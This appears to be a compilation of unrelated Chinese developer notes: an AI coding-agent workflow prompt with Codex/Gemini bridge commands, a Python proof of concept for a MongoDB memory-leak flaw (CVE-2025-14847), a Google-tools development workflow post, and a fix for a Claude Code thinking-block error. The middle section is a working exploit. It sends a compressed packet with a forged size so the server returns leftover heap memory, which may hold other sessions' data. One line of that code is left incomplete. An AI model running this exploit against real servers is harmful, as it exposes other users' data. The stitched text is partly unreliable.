| RESEARCH | 信息收集 | 代码检索、分析调用链、5 层问题分解 | 提建议、写代码 |
| INNOVATE | 头脑风暴 | 讨论 2-3 个方案、指出每个方案缺陷 | 具体规划、写代码 |
| PLAN | 技术规范 | 生成编号清单、列出复用点、变更影响分析 | 写代码、跳过规范 |
| EXECUTE | 严格实施 | 仅实现计划内容、复用现有函数 | 未报告偏离、重写已有功能 |
| REVIEW | 验证一致 | 逐行比较、检查调用完整性、清理代码 | - |
用户跳转：识别 "跳转到 X / 进入 X / 切换到 X"→ 立即执行
RESEARCH 5 层问题分解
数据结构：核心数据是什么？关系如何？
特殊情况：哪些 if/else 是糟糕设计？能否重构？
复杂度：功能能一句话说清吗？能否减半概念？
调用影响：列出所有受影响的功能和依赖
实用性：生产环境真实存在此问题吗？
PLAN 变更影响分析
- 影响范围 / 回归风险 / API 兼容性
三、代码处理规范
3.1 修改前检查清单（强制）
已检索并理解目标代码上下文
已识别可复用的现有函数 / 模块
已追踪所有调用该代码的位置
确认修改不会破坏现有调用
3.2 代码风格
KISS - 三行能写完绝不用五行
DRY - 零容忍重复，必须复用
保护调用链 - 修改函数签名时同步更新所有调用点
3.3 完成后清理（强制）
删除：临时 / 测试文件、注释掉的废弃代码、未使用的导入 / 依赖、调试日志和断点
3.4 代码块格式
// ... existing code ...
{{ modifications }}
// ... existing code ... 3.5 PowerShell / Windows 中文路径
PowerShell 不支持
&&，使用;分隔中文路径处理：
cd <项目根目录>; python -c "import os; print(list(enumerate(os.listdir('.'))))"
cd <项目根目录>; python -c "import os; os.chdir(os.listdir('.')[ <索引> ]); exec(open('<脚本名>.py', encoding='utf-8').read())"
四、交互规范
精准提问：渐进式澄清，每次最多 8 个问题
敢于说不：发现问题直接指出
方案先行：执行前必须获得用户确认
五、工具速查
| 场景 | 工具 |
|------|------|
| 代码检索（强制）| mcp__auggie-mcp__codebase-retrieval |
| 官方文档查询 | resolve-library-id → get-library-docs (Context7) |
| 复杂问题思考 | sequential-thinking |
| 未知知识 | 联网搜索 |
| 多模型协作（可选）| 询问用户后调用 Codex/Gemini |
六、多模型协作（可选）
6.1 使用场景
一般任务独立完成，复杂任务询问用户后调用
Gemini：前端 / UI / 样式 | Codex：后端 / 逻辑 / 算法
返回内容为 "脏原型"，需重构后应用
6.2 Codex 调用
python "$HOME/.claude/skills/collaborating-with-codex/scripts/codex_bridge.py" \
--cd "/path/to/project" \
--PROMPT "任务描述. OUTPUT: Unified Diff Patch ONLY." \
--sandbox read-only \
--return-all-messages \
--skip-git-repo-check \
[--SESSION_ID "uuid-from-previous-response"]
| 参数 | 必需 | 说明 |
|------|------|------|
| --return-all-messages | 必需 | 缺少会导致错误 |
| --sandbox read-only | 必需 | 安全限制 |
| --skip-git-repo-check | 推荐 | 避免非 git 目录报错 |
| --SESSION_ID | 可选 | 多轮对话时使用 |
6.3 Gemini 调用
# 有 Docker/Podman 时:
python "$HOME/.claude/skills/collaborating-with-gemini/scripts/gemini_bridge.py" \
--cd "/path/to/project" \
--PROMPT "任务描述. OUTPUT: Unified Diff Patch ONLY." \
--sandbox \
--return-all-messages \
[--SESSION_ID "uuid"]
# 无容器环境时 (移除 --sandbox):
python "$HOME/.claude/skills/collaborating-with-gemini/scripts/gemini_bridge.py" \
--cd "/path/to/project" \
--PROMPT "任务描述. OUTPUT: Unified Diff Patch ONLY." \
--return-all-messages
| 参数 | 必需 | 说明 |
|------|------|------|
| --sandbox | 条件 | 仅在有 Docker/Podman 时使用 |
| --return-all-messages | 推荐 | 获取完整响应 |
6.4 运行与响应
运行要求：后台运行（
run_in_background=true），不设 timeout响应格式：
{ "success": true, "SESSION_ID": "uuid", "agent_messages": [{"role": "assistant", "content": "..."}] } - 提取
SESSION_ID存储用于后续对话
6.5 常见错误修复
| 错误 | 原因 | 修复 |
|------|------|------|
| Failed to get 'agent_messages' | Codex 缺少 --return-all-messages | 添加参数 |
| failed to determine command for sandbox | Gemini 无 Docker 却用 --sandbox | 移除参数 |
输出设置：中文响应 | 禁用表情 | 禁止截断
POC of CVE-2025-14847
import socket
import struct
import zlib
import sys
TARGET_IP = "127.0.0.1"
TARGET_PORT = 27017 def build_malformed_packet():
# 1. 准备一个合法的原始 Payload (通常是 isMaster 或 ping) # OP_QUERY: flags=0, collection="admin.$cmd", skip=0, limit=-1, query={"isMaster": 1} # 这里我们用最简单的 BSON 构造： {"isMaster": 1} # \x13\x00\x00\x00 (doc length) \x10 (int32 type) isMaster\x00 \x01\x00\x00\x00 (value 1) \x00 (term)
bson_payload = b'\x13\x00\x00\x00\x10isMaster\x00\x01\x00\x00\x00\x00' # OP_QUERY 头部: flags(4) + coll_name(cstring) + skip(4) + limit(4) # admin.$cmd\x00
op_query_header = struct.pack('<I', 0) + b'admin.$cmd\x00' + struct.pack('<II', 0, 0xFFFFFFFF)
original_msg = op_query_header + bson_payload
real_uncompressed_size = len(original_msg)
# 2. 压缩 Payload (Zlib) # 我们只压缩那个合法的 op_query 部分
compressed_body = zlib.compress(original_msg)
# 3. 构造恶意的 OP_COMPRESSED 头部 (The Exploit) # Struct: # MsgHeader (16 bytes) # originalOpcode (4 bytes) = 2004 (OP_QUERY) # uncompressedSize (4 bytes) <--- 攻击点 # compressorId (1 byte) = 2 (Zlib) # --- 恶意逻辑 --- # 我们告诉服务器解压后有 10,000 字节，实际上解压出来只有几十字节。 # 服务器会分配 10,000 字节的堆，前几十字节被覆盖，剩下全是内存中的敏感残留数据。
fake_uncompressed_size = 10000 # OP_COMPRESSED 数据部分
op_compressed_data = (
struct.pack('<I', 2004) + # originalOpcode (OP_QUERY)
struct.pack('<I', fake_uncompressed_size) + # MALICIOUS SIZE b'\x02' + # compressorId (Zlib)
compressed_body # Actual compressed data
)
# 4. 计算并添加 MsgHeader # MsgHeader: messageLength, requestID, responseTo, opCode # opCode 2012 = OP_COMPRESSED
total_len = 16 + len(op_compressed_data)
request_id =
header = struct.pack('<iiii', total_len, request_id, 0, 2012)
final_packet = header + op_compressed_data
return final_packet, request_id
def exploit():
print(f"[!] Connecting to {TARGET_IP}:{TARGET_PORT}...")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET_IP, TARGET_PORT))
print("[*] Connection established.")
print("[*] Building malformed OP_COMPRESSED packet with Zlib length confusion...")
packet, req_id = build_malformed_packet()
print(f"[*] Sending {len(packet)} bytes...")
sock.sendall(packet)
print("[*] Waiting for server response (leaked memory)...")
# 接收响应头部 (16 bytes)
resp_header = sock.recv(16)
if not resp_header:
print("[-] Connection closed unexpectedly.")
return
resp_len, resp_id, resp_to, resp_opcode = struct.unpack('<iiii', resp_header)
print(f"[+] Header received! Total Length: {resp_len}, OpCode: {resp_opcode}")
# 接收剩余的数据 (Payload) # 这部分数据里包含了我们要的 Heap Memory Leak
leaked_data = b''
remaining = resp_len - 16 while remaining > 0:
chunk = sock.recv(min(4096, remaining))
if not chunk: break
leaked_data += chunk
remaining -= len(chunk)
print(f"[+] Successfully captured {len(leaked_data)} bytes of data.")
print("-" * 50)
# 简单打印一部分可能泄露的字符串 (ASCII) # 注意：这里混杂着二进制和文本，可能是别的会话的残留
printable = ''.join([chr(b) if 32 <= b <= 126 else '.' for b in leaked_data])
print("Raw Memory Dump Preview (Last 500 bytes):")
print(printable[-500:])
print("-" * 50)
sock.close()
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
exploit()
禁止用于攻击
[反重力] 基于谷歌生态的从零开发项目的流程
实际上，不应该只在反重力上写代码
1. 先在 aistudio 上，讨论得出蓝图.
这里可选的，使用 Stitch 进行风格设计，但是 Stitch 同一个画布的多次对话，其实不完全遵守指令，所以只能进行 "风格" 设计，确定什么提示词能稳定产出什么风格，在这一步没办法明确你的 UI 具体布局，除非你已经有非常详细的腹稿，可以让它一次性生成完全部页面。我的开发习惯是，先有一个灵感，然后在开发迭代中明确 UI 和功能到底如何实现.
2. 然后将蓝图发给反重力，让它 生成文档结构和任务.
采用 sdd+tdd 规范
3. 然后提交到 github
4. 让 jules 拉取仓库
然后开始根据文档写原型.
5. 用反重力拉取下来
它会审查结果，本地运行看效果，合并分支，再设计，规划，分配任务进行迭代.
这样的情况下，对我来说反重力的额度是够用的，而且 jules 一次性可以执行很多任务，不会像反重力这样频繁的中断，或者偷懒.
我在反重力里面，大部分时间使用 opus.
notebook, 则是在讨论出蓝图后，让它生成一些问答或者思维导图，博客，来加深印象.
但是 notebook 的智力水平很低，只能用来 "辅助学习", 不能用来深度思考.
这一切，只需要你拥有一个谷歌学生号，充分利用套餐内容，以及谷歌生态内各个产品的优势.
而且也解放了自己的时间，真正做到了在关键节点进行审查，设计，而无需处理迭代过程中琐碎的审批和中断.
ClaudeCode 报 400（thinking block）的解决方案
最近在用 cc 写东西的时候遇到过几次 400 的错误，具体表现为
API Error: 400 {"type":"error","error":{"type":"invalid_request_error","message":"messages.7.content.0: Invalid `signature` in `thinking`block"},"request_id":"req_xxxxxxx"}
解决步骤：
1、退出 Claude Code
2、找到对话文件：
# linux or mac ls -la ~/.claude/projects/
# win dir %USERPROFILE%\.claude\projects\
# 在项目文件夹中查找最大/最新的 .jsonl 文件 备份并修复文件：
import json
filepath = "/path/to/your/session.jsonl"
with open(filepath, 'r') as f:
lines = f.readlines()
with open(filepath, 'w') as f:
for line in lines:
if not line.strip():
continue data = json.loads(line)
if 'message' in data and 'content' in data['message']:
if isinstance(data['message']['content'], list):
data['message']['content'] = [
c for c in data['message']['content']
if c.get('type') not in ('thinking', 'redacted_thinking')
]
f.write(json.dumps(data) + '\n')
3、重启 ClaudeCode，/resume 恢复之前的记录，可以正常继续对话了